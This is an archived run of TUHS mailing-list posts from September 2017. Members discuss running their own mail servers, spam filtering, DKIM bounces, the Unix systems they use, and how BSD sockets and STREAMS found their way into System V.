Date: Thu, 21 Sep 2017 14:49:06 +1000
Subject: [TUHS] Steering it back again ....
Message-ID: <20170921044906.GA4085@minnie.tuhs.org>

And ... we now bring the threads on current Unix-like systems and current
mail configuration to a close, and remind the group that the mailing list
is about _old_ things :-)

Mind you, if the list lasts another 25 years, these two threads will
meet that criterion.

Thanks, Warren


From dave at horsfall.org  Thu Sep 21 14:58:12 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 21 Sep 2017 14:58:12 +1000 (EST)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.DEB.2.11.1709211433550.20765@sirius.opentrend.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <20170921042528.E12C5156E523@mail.bitblocks.com>
 <alpine.DEB.2.11.1709211433550.20765@sirius.opentrend.net>
Message-ID: <alpine.BSF.2.21.1709211454040.89458@aneurin.horsfall.org>

On Thu, 21 Sep 2017, Robert Brockway wrote:

> As an aside I just saw this in my mail queue:
>
> # mailq
> -Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
> 2182087EA      1618 Thu Sep 21 10:41:07  robert at timetraveller.org
> (host aneurin.horsfall.org[110.141.193.233] said: 550 5.7.1 
> <dave at horsfall.org>... No reporting address for linode.com; see RFC 2142 (in 
> reply to RCPT TO command))
>                                         dave at horsfall.org
>
>
> That is aggressive standards compliance ;)

Ah yes...  I get a fair amount of spam from linode.com, yet they have
no "abuse" reporting address, so I blocked the entire network; I do that
with any ISP not having it when I try and report spam.

I've since whitelisted you :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From wkt at tuhs.org  Thu Sep 21 15:17:36 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 21 Sep 2017 15:17:36 +1000
Subject: [TUHS] Trying some new TUHS mail configs
Message-ID: <20170921051736.GA8780@minnie.tuhs.org>

All, sorry for the test post. Grant Taylor has been helping me resolve
the mail bounces, which we think are due to the mailing list preserving the
existing DKIM information when forwarding to e-mail.

This e-mail is going to a test address which should strip the inbound
DKIM stuff before passing to the TUHS list. Hopefully we can observe
the result and check the logs.

        Warren



From gtaylor at tnetconsulting.net  Thu Sep 21 15:20:21 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 23:20:21 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.DEB.2.11.1709211259480.3189@sirius.opentrend.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <B2BBBAD6-6D45-4492-A4F9-2044BB113989@serissa.com>
 <b8e8c001-2e7e-c8dc-397f-a3c4ddb4ee56@tnetconsulting.net>
 <alpine.DEB.2.11.1709211259480.3189@sirius.opentrend.net>
Message-ID: <ae53b46a-7b89-922e-98bc-da909f4009d6@tnetconsulting.net>

On 09/20/2017 09:04 PM, Robert Brockway wrote:
> This is a well established technique known as Nolisting.  I believe the 
> safest option is for the port to be unbound and thus for a TCP RST to be 
> sent.
> 
> en.wikipedia.org/wiki/Nolisting

I think I've heard of people doing nolisting before and ran across the 
term within the last week.

I wonder how effective it is.

I recently wrote a gray mail server (in Perl) that ran into the problem 
of the 3rd bullet point in Drawbacks.  -  My workaround has been to 
return ICMP errors, much like nolisting probably does.

I will have to give Nolisting more thought and mess with it.



-- 
Grant. . . .
unix || die


From gtaylor at tnetconsulting.net  Thu Sep 21 15:30:10 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 23:30:10 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.BSF.2.21.1709211348380.89458@aneurin.horsfall.org>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>
 <alpine.BSF.2.21.1709211044510.89458@aneurin.horsfall.org>
 <c828e69a-8fa1-ac14-ce62-920e7b4a9dfd@tnetconsulting.net>
 <alpine.BSF.2.21.1709211348380.89458@aneurin.horsfall.org>
Message-ID: <9fc7011a-b162-0b3c-62cb-731cab9a1f91@tnetconsulting.net>

On 09/20/2017 10:14 PM, Dave Horsfall wrote:
> Didn't I just see you somewhere else? :-)

Probably.

> Yep; as I recall, the RFC line length is no more than 254 chars (I 
> think), with no limit on the number of continuation lines.  Try 
> connecting to my server at horsfall.org (I'll make you wait around 10 
> seconds), then check out my RFC-compliant banner...  I'll keep an eye 
> out for you in my logs :-)

Very interesting.

I want to figure out how to make a multi-line banner.  (In Sendmail.)

I feel like your greet_pause was more than 10 seconds, but so be it. 
Still shouldn't be a problem.

> Check out www.horsfall.org/spamlog.pdf for a nice pretty graph; the 
> rejects on "banner" is the purple one on the top; the "reject" line is 
> the red one, and the "spam" line (stuff that gets through) is pink (for 
> SPAM, geddit?).
> 
> Note that many of the "banner" violations are from woodpeckers i.e. they 
> keep trying until they either give up or I notice (and firewall them).

I've wondered about a more featureful syslog daemon that could pattern 
match and watch for the log message for pre-greeting traffic, and 
forward them to a script that would dynamically update an RBL.  I just 
haven't found enough round-tuits yet.

> The tools behind this are still a work in progress, so I don't currently 
> log the number of "wait" violations etc (it was implemented fairly 
> recently).
> 
> (And yes, my HTML programming sucks.)

Interesting work.  I'd be curious to see how you're doing some of that 
and think about implementing it myself.

Thanks for sharing Dave.



-- 
Grant. . . .
unix || die


From gtaylor at tnetconsulting.net  Thu Sep 21 15:34:08 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 23:34:08 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <alpine.BSF.2.21.1709211454040.89458@aneurin.horsfall.org>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <20170921042528.E12C5156E523@mail.bitblocks.com>
 <alpine.DEB.2.11.1709211433550.20765@sirius.opentrend.net>
 <alpine.BSF.2.21.1709211454040.89458@aneurin.horsfall.org>
Message-ID: <28c1bcab-1b4a-fb81-6992-df1877d6fb58@tnetconsulting.net>

On 09/20/2017 10:58 PM, Dave Horsfall wrote:
> Ah yes...  I get a fair amount of spam from linode.com, yet they have
> no "abuse" reporting address, so I blocked the entire network; I do that
> with any ISP not having it when I try and report spam.

Hum.

I expect my message directly to you will bounce then, as I'm using 
Linode as well.

I'm purposely sending this message to you so that it will (hopefully) 
bounce.  That way I can open a support case with Linode, as a customer, 
and *hopefully* get them to change their policy.  ;-)

> I've since whitelisted you :-)

Let's see what sort of cages I can rattle.

Note:  I do not fault you for your black list.  We are each free to run 
our server(s) the way that we want to.



-- 
Grant. . . .
unix || die


From wkt at tuhs.org  Thu Sep 21 15:56:43 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 21 Sep 2017 15:56:43 +1000
Subject: [TUHS] Test on TUHS mail config
Message-ID: <20170921055643.GA15097@minnie.tuhs.org>

Sorry all, just trying a change on the TUHS mail list config. I'll
set it back once I see what this message does.
	Warren



From jsteve at superglobalmegacorp.com  Thu Sep 21 17:14:58 2017
From: jsteve at superglobalmegacorp.com (Jason Stevens)
Date: Thu, 21 Sep 2017 15:14:58 +0800
Subject: [TUHS] Who is running their own mail server and what do you
	r	un?
Message-ID: <0F0B9BFC06289346B88512B91E55670D3000@EXCHANGE>

I use Exchange 5.5 & MacOS + Outlook... I know very un-unixy but it's more
so a test bed for a highly modified version of Basilisk II (more so to test
appletalk of all things)

I route it through Office 365, since I use that for my company, and they
have a 'connector' to route a domain through their spam filters and then
drop it to my legacy Exchange server.  I gave up on the SPAM fight, it
really was far too much of a waste of my time.  That and this email address
is in far far too many databases... :|

I'm on the fence if it's really worth the effort though.  I wanted to setup
some kind of UUCP / Exchange relay, and maybe go full crazy with X.25 but at
some point I need to maybe let some of this old stuff just die... It's the
same reason I don't run ATM at home.

> ----------
> From: 	Larry McVoy
> Sent: 	Thursday, September 21, 2017 12:25 AM
> To: 	TUHS main list
> Subject: 	[TUHS] Who is running their own mail server and what do you
> run?
> 
> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
> 
> If someone has a plug and chug setup for MX I'd love to try it.
> 
> Thanks,
> 
> --lm
> 


From doug at cs.dartmouth.edu  Thu Sep 21 20:11:03 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Thu, 21 Sep 2017 06:11:03 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
Message-ID: <201709211011.v8LAB39V022229@coolidge.cs.Dartmouth.EDU>

> When you say MIT you think about ITS and Lisp.  That is why emacs IMHO
> was against UNIX ideals.  RMS was thinking in different terms than Bell
> Labs hackers.

Very different. Once, when visiting the Lisp machine, I saw astonishingly
irrelevant things being done as first class emacs commands, and asked
how many commands there were. The instant answer was to have emacs 
print the list. Nice, but it scrolled way beyond one screenful. I
persisted: could the machine count them? It took several minutes of
head-scratching and false starts to do a task that was second nature
to Unix hands.

With hindsight, I realize that the thousand emacs commands were but a
foretaste of open-source exuberance--witness this snippet from Linux:
	!ls /usr/share/man/man2|wc
	    468     468    6766
Even a "kernel" is as efflorescent as a tropical rainforest.


From steve at quintile.net  Thu Sep 21 22:36:27 2017
From: steve at quintile.net (Steve Simon)
Date: Thu, 21 Sep 2017 13:36:27 +0100
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170921010840.bi6vojllheotixgt@matica.foolinux.mooo.com>
Message-ID: <763a9a10c8db1574c4bb03c35cacf399@quintile.net>

> Doesn't pbl.spamhaus.org do this better for you, and maybe other similar
> RBLs ?

I do a spamhaus check first but if they miss them I add a regexp to picks them up.

I should do a sweep of the regexps against spamhaus - there was probably
only a small time window when spamhaus missed them.

-Steve


From ben at cogs.com  Thu Sep 21 22:40:19 2017
From: ben at cogs.com (Ben Greenfield)
Date: Thu, 21 Sep 2017 08:40:19 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <79B8420C-05DB-4D85-98E9-3C7C6E9B1925@cogs.com>

I use Server.app from the app store in os x. I switched to OS X server in the late 90’s from communiGate which is still around.

http://communigate.com/main/platform/email.html

I would describe any aspect of spam fighting as plug and chug…


Ben


> On Sep 20, 2017, at 12:25 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
> 
> If someone has a plug and chug setup for MX I'd love to try it.
> 
> Thanks,
> 
> --lm



From krewat at kilonet.net  Thu Sep 21 23:19:26 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Thu, 21 Sep 2017 09:19:26 -0400
Subject: [TUHS] Steering it back again ....
In-Reply-To: <20170921044906.GA4085@minnie.tuhs.org>
References: <20170921044906.GA4085@minnie.tuhs.org>
Message-ID: <4106dcf7-0636-7b6e-74fc-10fa4db28b7a@kilonet.net>

Warren, thanks for putting up with my "UNIX of choice" thread.

I learned a lot, and have a lot to think about. The idea was to gather 
thoughts from people who've been through the trenches, and this list was 
the perfect avenue for that.

Thanks for providing this list.

Back to your regular programming ;)



On 9/21/2017 12:49 AM, Warren Toomey wrote:
> And ... we now bring the threads on current Unix-like systems and current
> mail configuration to a close, and remind the group that the mailing list
> is about _old_ things :-)
>
> Mind you, if the list lasts another 25 years, these two threads will
> meet that criterion.
>
> Thanks, Warren
>



From nick at intronic.org  Fri Sep 22 00:33:33 2017
From: nick at intronic.org (Nicholas Chappell)
Date: Thu, 21 Sep 2017 07:33:33 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <E91A2601-96C0-40A9-853F-6EE619B313FE@intronic.org>

Macbook pro with OS X for personal and work machines. Work's systems are a little CentOS 6, a lot of CentOS 7 and some CoreOS, all on bare metal (no virtualization).

Most of my playing around/experimenting is in CentOS 7 VMware VMs run out of Vagrant (to make spinup/teardown much faster and git-trackable).

From itz at very.loosely.org  Fri Sep 22 01:26:37 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 21 Sep 2017 08:26:37 -0700
Subject: [TUHS] Trying some new TUHS mail configs
In-Reply-To: <20170921051736.GA8780@minnie.tuhs.org>
References: <20170921051736.GA8780@minnie.tuhs.org>
Message-ID: <20170921152637.4nsgwitio54ip5de@matica.foolinux.mooo.com>

On 2017-09-21 15:17, Warren Toomey wrote:

> All, sorry for the test post. Grant Taylor has been helping me resolve
> the mail bounces, which we think are due to the mailing list
> preserving the existing DKIM information when forwarding to e-mail.
> 
> This e-mail is going to a test address which should strip the inbound
> DKIM stuff before passing to the TUHS list. Hopefully we can observe
> the result and check the logs.

By the way, although I have outbound DKIM signing enabled on my MTA, I
take care to disable it for mailing lists posts.  That is what the
X-Loosely-Listed header in my messages is for.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From itz at very.loosely.org  Fri Sep 22 01:43:33 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 21 Sep 2017 08:43:33 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <9fc7011a-b162-0b3c-62cb-731cab9a1f91@tnetconsulting.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <alpine.BSF.2.21.1709210957040.89458@aneurin.horsfall.org>
 <5156de95-caf9-f7e2-6e85-37d957e406bd@tnetconsulting.net>
 <alpine.BSF.2.21.1709211044510.89458@aneurin.horsfall.org>
 <c828e69a-8fa1-ac14-ce62-920e7b4a9dfd@tnetconsulting.net>
 <alpine.BSF.2.21.1709211348380.89458@aneurin.horsfall.org>
 <9fc7011a-b162-0b3c-62cb-731cab9a1f91@tnetconsulting.net>
Message-ID: <20170921154333.hyp6dgpy256vtzjj@matica.foolinux.mooo.com>

On 2017-09-20 23:30, Grant Taylor wrote:

> Interesting work.  I'd be curious to see how you're doing some of that
> and think about implementing it myself.
> 
> Thanks for sharing Dave.

You can try

telnet very.loosely.org smtp

while you're at it :-) Credit goes to Dave who gave me the ideas, on
another mailing list.

I bet the implementation in exim (plus 1 or 2 tiny helper scripts) is
simpler than anything you can do in other MTAs, a good example of why I
am a fan.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From itz at very.loosely.org  Fri Sep 22 01:49:28 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 21 Sep 2017 08:49:28 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <28c1bcab-1b4a-fb81-6992-df1877d6fb58@tnetconsulting.net>
References: <20170920162502.GN25650@mcvoy.com>
 <201709201639.v8KGdGhC024387@darkstar.fourwinds.com>
 <83CD6BB4-9617-47F9-A87E-55C447D5F1CC@bitblocks.com>
 <alpine.DEB.2.11.1709210903320.3189@sirius.opentrend.net>
 <20170921042528.E12C5156E523@mail.bitblocks.com>
 <alpine.DEB.2.11.1709211433550.20765@sirius.opentrend.net>
 <alpine.BSF.2.21.1709211454040.89458@aneurin.horsfall.org>
 <28c1bcab-1b4a-fb81-6992-df1877d6fb58@tnetconsulting.net>
Message-ID: <20170921154928.ftclu4l76n4uy5yj@matica.foolinux.mooo.com>

On 2017-09-20 23:34, Grant Taylor wrote:

> I expect my message directly to you will bounce then, as I'm using
> Linode as well.
> 
> I'm purposely sending this message to you so that it will (hopefully)
> bounce.  That way I can open a support case with Linode, as a
> customer, and *hopefully* get them to change their policy.  ;-)

Ditto here.  But Dave must have added this recently, as I have conversed
with him privately not longer than a month ago.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From itz at very.loosely.org  Fri Sep 22 02:01:12 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 21 Sep 2017 09:01:12 -0700
Subject: [TUHS] Sockets and the true UNIX
Message-ID: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>

This question is motivated by the posters for whom FreeBSD is not Unix
enough :-)

Probably the best known contribution of the Berkeley branch of Unix is
the sockets API for IP networking.  But today, if for no other reason
than the X/Open group of standards, sockets are the preferred networking
API everywhere, even on true AT&T derived UNIX variants.  So they must
have been merged back at some point, or reimplemented.  My question is,
when and how did that happen?

And if there isn't a simple answer because it happened at different
times and in different ways for each variant, all the better :-)

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From chet.ramey at case.edu  Fri Sep 22 02:07:13 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Thu, 21 Sep 2017 12:07:13 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
Message-ID: <b7963288-2847-e055-9ac4-6212f053c9ee@case.edu>

On 9/21/17 12:01 PM, Ian Zimmerman wrote:
> This question is motivated by the posters for whom FreeBSD is not Unix
> enough :-)
> 
> Probably the best known contribution of the Berkeley branch of Unix is
> the sockets API for IP networking.  But today, if for no other reason
> than the X/Open group of standards, sockets are the preferred networking
> API everywhere, even on true AT&T derived UNIX variants.  So they must
> have been merged back at some point, or reimplemented.  My question is,
> when and how did that happen?

AT&T merged the sockets interface into SVR4, starting with the BSD code.
Sun did the work.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From lm at mcvoy.com  Fri Sep 22 02:10:40 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 09:10:40 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
Message-ID: <20170921161040.GC25650@mcvoy.com>

On Thu, Sep 21, 2017 at 09:01:12AM -0700, Ian Zimmerman wrote:
> This question is motivated by the posters for whom FreeBSD is not Unix
> enough :-)
> 
> Probably the best known contribution of the Berkeley branch of Unix is
> the sockets API for IP networking.  But today, if for no other reason
> than the X/Open group of standards, sockets are the preferred networking
> API everywhere, even on true AT&T derived UNIX variants.  So they must
> have been merged back at some point, or reimplemented.  My question is,
> when and how did that happen?
> 
> And if there isn't a simple answer because it happened at different
> times and in different ways for each variant, all the better :-)

I'm pretty sure the two main System V based TCP/IP stacks were STREAMS
based: the Lachman one (which I ported to the ETA-10 and to SCO Unix)
and the Mentat one that was done for Sun.  The socket API was sort of
bolted on top of the STREAMS stuff, you could get to the STREAMS stuff
directly (I think, it's been a long time).

The STREAMS stuff never performed well and the BSD TCP stack or something
like it went into Solaris at some point.  That's another "I think".  If
you want the gory details I'll ask Neal Nuckolls, he would know, he was
in the networking group and worked closely with Mentat.


From jon at fourwinds.com  Fri Sep 22 02:13:38 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Thu, 21 Sep 2017 09:13:38 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
Message-ID: <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>

Ian Zimmerman writes:
> This question is motivated by the posters for whom FreeBSD is not Unix
> enough :-)
> 
> Probably the best known contribution of the Berkeley branch of Unix is
> the sockets API for IP networking.  But today, if for no other reason
> than the X/Open group of standards, sockets are the preferred networking
> API everywhere, even on true AT&T derived UNIX variants.  So they must
> have been merged back at some point, or reimplemented.  My question is,
> when and how did that happen?
> 
> And if there isn't a simple answer because it happened at different
> times and in different ways for each variant, all the better :-)

Maybe this is naive of me, but I have never liked parts of the sockets
interface.  I understand that at some level it was a political/legal
keeping the networking code independent of the rest of the kernel.
>From a technical and historical standpoint, I view it as the tip of
the iceberg bloating the number of system calls.

In particular, I have often thought that it would have been a better
and more consistent with the philosophy to have it implemented as
open("/dev/tcp") and so on.  Granted that networking added some new
functionality that justified some of the system calls, just not socket().

Comments?

Jon


From lm at mcvoy.com  Fri Sep 22 02:17:44 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 09:17:44 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <201709211613.v8LGDcuN015299@darkstar.fourwinds.com>
Message-ID: <20170921161744.GD25650@mcvoy.com>

On Thu, Sep 21, 2017 at 09:13:38AM -0700, Jon Steinhart wrote:
> Maybe this is naive of me, but I have never liked parts of the sockets
> interface.  I understand that at some level it was a political/legal
> keeping the networking code independent of the rest of the kernel.
> >From a technical and historical standpoint, I view it as the tip of
> the iceberg bloating the number of system calls.
> 
> In particular, I have often thought that it would have been a better
> and more consistent with the philosophy to have it implemented as
> open("/dev/tcp") and so on.  Granted that networking added some new
> functionality that justified some of the system calls, just not socket().

If you look in the lmbench code I sort of had similar thoughts but did
them as functions.  I've never been fond of the socket API though I
am sympathetic, it's easy to do the easy parts as /dev/tcp but as I
recall there are all sorts of weird cases that don't fit.  I've tried
to come up with a /dev/tcp style that covers all the cases and I failed.

lib_tcp.h
#include        <sys/types.h>
#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>
#include        <arpa/inet.h>

int     tcp_server(int prog, int rdwr);
int     tcp_done(int prog);
int     tcp_accept(int sock, int rdwr);
int     tcp_connect(char *host, int prog, int rdwr);
void    sock_optimize(int sock, int rdwr);
int     sockport(int s);
#ifndef NO_PORTMAPPER
u_short pmap_getport(struct sockaddr_in *addr, u_long prognum, u_long versnum,
u_int protocol);
bool_t  pmap_set(u_long prognum, u_long versnum, u_long protocol, u_short port);
bool_t  pmap_unset(u_long prognum, u_long versnum);
#endif


From dme at dme.org  Fri Sep 22 02:20:03 2017
From: dme at dme.org (David Edmondson)
Date: Thu, 21 Sep 2017 17:20:03 +0100
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921161040.GC25650@mcvoy.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <20170921161040.GC25650@mcvoy.com>
Message-ID: <m2y3p8hvm4.fsf@dme.org>

On Thursday, 2017-09-21 at 09:10:40 -0700, Larry McVoy wrote:

> I'm pretty sure the two main System V based TCP/IP stacks were STREAMS
> based: the Lachman one (which I ported to the ETA-10 and to SCO Unix)
> and the Mentat one that was done for Sun.  The socket API was sort of
> bolted on top of the STREAMS stuff, you could get to the STREAMS stuff
> directly (I think, it's been a long time).

You could pop the socket module to get to the stream underneath, but
lots of streams functionality still works with it present.

dme.
-- 
Modern people tend to dance.


From clemc at ccc.com  Fri Sep 22 02:25:13 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 21 Sep 2017 12:25:13 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <20170921161040.GC25650@mcvoy.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <20170921161040.GC25650@mcvoy.com>
Message-ID: <CAC20D2N-WEHBoBY66bYNxZmsiWOrR9AN17fCUi2Xk0ShLee=cA@mail.gmail.com>

On Thu, Sep 21, 2017 at 12:10 PM, Larry McVoy <lm at mcvoy.com> wrote:

>
> The STREAMS stuff never performed well

​Larry is being polite.   It sucked.​

​ It was never designed for it.  dmr designed Streams to replace the tty
handler.   I never understood  why the Summit guys insisted on forcing
networking into it.​



> and the BSD TCP stack or something
> ​ ​
> like it went into Solaris at some point.

​Right.   This is one of the places where SVR4 != Solaris

I was researching a book a long time ago and looked at this.  I had
Solaris, SVR4 and some other stuff at the time.  Like you bit rot has long
set in on the details, but I do remember that the primary thing that
Solaris had was support for Sun's threading model and the networking code
had to be a first class citizen ​or it was not going to scale.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/2fdf86f8/attachment.html>

From lm at mcvoy.com  Fri Sep 22 02:27:38 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 09:27:38 -0700
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <CAC20D2N-WEHBoBY66bYNxZmsiWOrR9AN17fCUi2Xk0ShLee=cA@mail.gmail.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <20170921161040.GC25650@mcvoy.com>
 <CAC20D2N-WEHBoBY66bYNxZmsiWOrR9AN17fCUi2Xk0ShLee=cA@mail.gmail.com>
Message-ID: <20170921162738.GE25650@mcvoy.com>

On Thu, Sep 21, 2017 at 12:25:13PM -0400, Clem Cole wrote:
> On Thu, Sep 21, 2017 at 12:10 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> >
> > The STREAMS stuff never performed well
> 
> ???Larry is being polite.   It sucked.???
> 
> ??? It was never designed for it.  dmr designed Streams to replace the tty
> handler.   I never understood  why the Summit guys insisted on forcing
> networking into it.???

+1 

I've always tried to make it clear that dmr's streams != Sys V STREAMS.
I thought dmr streams were cool, I detest the Sys V STREAMS.


From jon at fourwinds.com  Fri Sep 22 02:37:02 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Thu, 21 Sep 2017 09:37:02 -0700
Subject: [TUHS] Sockets and the true UNIX [ actually carping about
	streams ]
In-Reply-To: <CAC20D2N-WEHBoBY66bYNxZmsiWOrR9AN17fCUi2Xk0ShLee=cA@mail.gmail.com>
References: <20170921160112.ctpv4a52t5rjcqzg@matica.foolinux.mooo.com>
 <20170921161040.GC25650@mcvoy.com>
 <CAC20D2N-WEHBoBY66bYNxZmsiWOrR9AN17fCUi2Xk0ShLee=cA@mail.gmail.com>
Message-ID: <201709211637.v8LGb29S020071@darkstar.fourwinds.com>

Clem Cole writes:
> dmr designed Streams to replace the tty handler.

I have never had any reason to dig into the streams code.  But there is one
part of the implementation that I hate, which is the way that data is lost
when switching between modules.  This most notably rears its ugly head when
using something like vi, hitting control-Z, and then typing a shell command.
The user has to pause because incoming characters get tossed when switching
from cbreak to cooked.  This has become less of an issue as machines have
gotten faster, but it still gets me if my system is extremely heavily loaded.

Jon


From mutiny.mutiny at rediffmail.com  Fri Sep 22 02:38:20 2017
From: mutiny.mutiny at rediffmail.com (Mutiny )
Date: 21 Sep 2017 16:38:20 -0000
Subject: [TUHS] =?utf-8?q?UNIX_of_choice_these_days=3F?=
In-Reply-To: <E91A2601-96C0-40A9-853F-6EE619B313FE@intronic.org>
Message-ID: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>

It seems so that the large majority of us runs Linux, while others run (free)bsd or OSX.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/46d1ffc4/attachment.html>

From gilbertmm at sdf.org  Fri Sep 22 02:42:27 2017
From: gilbertmm at sdf.org (gilbertmm at sdf.org)
Date: Thu, 21 Sep 2017 16:42:27 -0000
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>
References: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>
Message-ID: <ab51c1106940d84fb181755a094f3af9.squirrel@mx.sdf.org>

> It seems so that the large majority of us runs Linux, while others run
> (free)bsd or OSX.

I run macOS these days. I have used FreeBSD in the recent past as my main
UNIX OS. In production, mostly GNU/Linux UNIX-like OSes have been in use.



From mutiny.mutiny at rediffmail.com  Fri Sep 22 03:23:01 2017
From: mutiny.mutiny at rediffmail.com (Mutiny )
Date: 21 Sep 2017 17:23:01 -0000
Subject: [TUHS] =?utf-8?q?Happy_birthday=2C_Dennis_Ritchie!?=
In-Reply-To: <201709211011.v8LAB39V022229@coolidge.cs.Dartmouth.EDU>
Message-ID: <1505988701.S.4149.14706.f4-234-163.1506014581.7525@webmail.rediffmail.com>

